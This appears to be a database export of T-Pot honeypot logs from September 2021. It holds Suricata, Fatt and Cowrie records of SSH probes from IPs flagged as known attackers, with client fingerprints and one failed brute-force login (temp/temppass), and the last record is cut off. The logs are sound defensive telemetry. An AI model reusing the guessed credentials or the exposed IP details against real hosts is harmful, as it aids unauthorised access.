34624	107.173.209.238	109.199.241.180	Suricata	2021-09-20 15:03:16.08305+03	2021-09-20 15:15:02.137668+03	{"_id": "SAYWA3wBvYTbRNuExlef", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:03:15.788995+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 163, "bytes_toserver": 294}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.173.209.238", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1036736260147715, "payload": "U1NILTIuMC1saWJzc2hfMC45LjYNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40220, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:03:16.083050Z", "@timestamp": "2021-09-20T12:03:16.083Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "SSH-2.0-libssh_0.9.6\\r\\n"}}	1	\N	\N	alert	known attacker	US
34625	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:03:16.08605+03	2021-09-20 15:15:02.139694+03	{"_id": "SgYWA3wBvYTbRNuEx1es", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "107.173.209.238", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40220, "timestamp": "2021-09-20T12:03:16.086050", "@timestamp": "2021-09-20T12:03:16.086Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34626	107.173.209.238	109.199.241.180	Fatt	2021-09-20 15:03:16.612865+03	2021-09-20 15:15:02.140664+03	{"_id": "SwYWA3wBvYTbRNuEx1es", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "src_ip": "107.173.209.238", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40220, "dest_port": 22, "timestamp": "2021-09-20T12:03:16.612865", "@timestamp": "2021-09-20T12:03:16.612Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	US
34627	107.173.209.238	109.199.241.180	Cowrie	2021-09-20 15:03:16.613504+03	2021-09-20 15:15:02.142667+03	{"_id": "TAYWA3wBvYTbRNuEyVdt", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.173.209.238", "asn": 36352, "as_org": "ColoCrossing", "dma_code": 514, "latitude": 42.8864, "location": {"lat": 42.8864, "lon": -78.8781}, "timezone": "America/New_York", "city_name": "Buffalo", "longitude": -78.8781, "postal_code": "14202", "region_code": "NY", "region_name": "New York", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.173.209.238", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "7c7ea25b0bf0", "@version": "1", "timestamp": "2021-09-20T12:03:16.613504Z", "@timestamp": "2021-09-20T12:03:16.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
34628	110.137.195.172	109.199.241.180	Suricata	2021-09-20 15:02:58.334396+03	2021-09-20 15:15:02.143665+03	{"_id": "AgYWA3wBvYTbRNuEgFdH", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:02:57.910178+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 143853360374626, "payload": "AAADzAYUN6bL8nkcqfLM3VQDm+KI5wAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 24040, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:02:58.334396Z", "@timestamp": "2021-09-20T12:02:58.334Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "......7...y.....T........(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	\N	ID
34640	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:02:59.316944+03	2021-09-20 15:15:02.161485+03	{"_id": "BwYWA3wBvYTbRNuEg1cT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "8c53674b711a", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:02:59.316944Z", "@timestamp": "2021-09-20T12:02:59.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	NL
34629	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:02:58.123916+03	2021-09-20 15:15:02.145487+03	{"_id": "AwYWA3wBvYTbRNuEgVdS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "110.137.195.172", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 24040, "timestamp": "2021-09-20T12:02:58.123916", "@timestamp": "2021-09-20T12:02:58.123Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34630	95.85.8.215	109.199.241.180	Fatt	2021-09-20 15:02:59.365826+03	2021-09-20 15:15:02.146486+03	{"_id": "CwYWA3wBvYTbRNuEhVc7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "95.85.8.215", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 45512, "dest_port": 22, "timestamp": "2021-09-20T12:02:59.365826", "@timestamp": "2021-09-20T12:02:59.365Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
34631	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:02:59.671805+03	2021-09-20 15:15:02.148487+03	{"_id": "EgYWA3wBvYTbRNuEhlf8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.login.failed", "message": "login attempt [temp/temppass] failed", "session": "8c53674b711a", "@version": "1", "password": "temppass", "username": "temp", "timestamp": "2021-09-20T12:02:59.671805Z", "@timestamp": "2021-09-20T12:02:59.671Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
34632	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 15:03:00.725485+03	2021-09-20 15:15:02.150487+03	{"_id": "EwYWA3wBvYTbRNuEilfl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "8c53674b711a", "@version": "1", "duration": 1.4087731838226318, "timestamp": "2021-09-20T12:03:00.725485Z", "@timestamp": "2021-09-20T12:03:00.725Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
34633	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:02:58.122595+03	2021-09-20 15:15:02.152487+03	{"_id": "_gYWA3wBvYTbRNuEf1Yr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:24040 (192.168.176.2:22) [session: 20f653d5302b]", "session": "20f653d5302b", "@version": "1", "protocol": "ssh", "src_port": 24040, "dest_port": 22, "timestamp": "2021-09-20T12:02:58.122595Z", "@timestamp": "2021-09-20T12:02:58.122Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	ID
45287	192.168.20.104	109.199.241.180	Suricata	2021-09-20 16:43:48.502515+03	2021-09-20 16:45:02.751591+03	{"_id": "nwZyA3wBvYTbRNuE0qx5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.104", "stream": 0, "dest_ip": "224.0.0.252", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T13:43:48.502515Z", "@timestamp": "2021-09-20T13:43:48.502Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
34635	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 15:02:58.335031+03	2021-09-20 15:15:02.155486+03	{"_id": "AAYWA3wBvYTbRNuEf1cr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "20f653d5302b", "@version": "1", "timestamp": "2021-09-20T12:02:58.335031Z", "@timestamp": "2021-09-20T12:02:58.335Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": 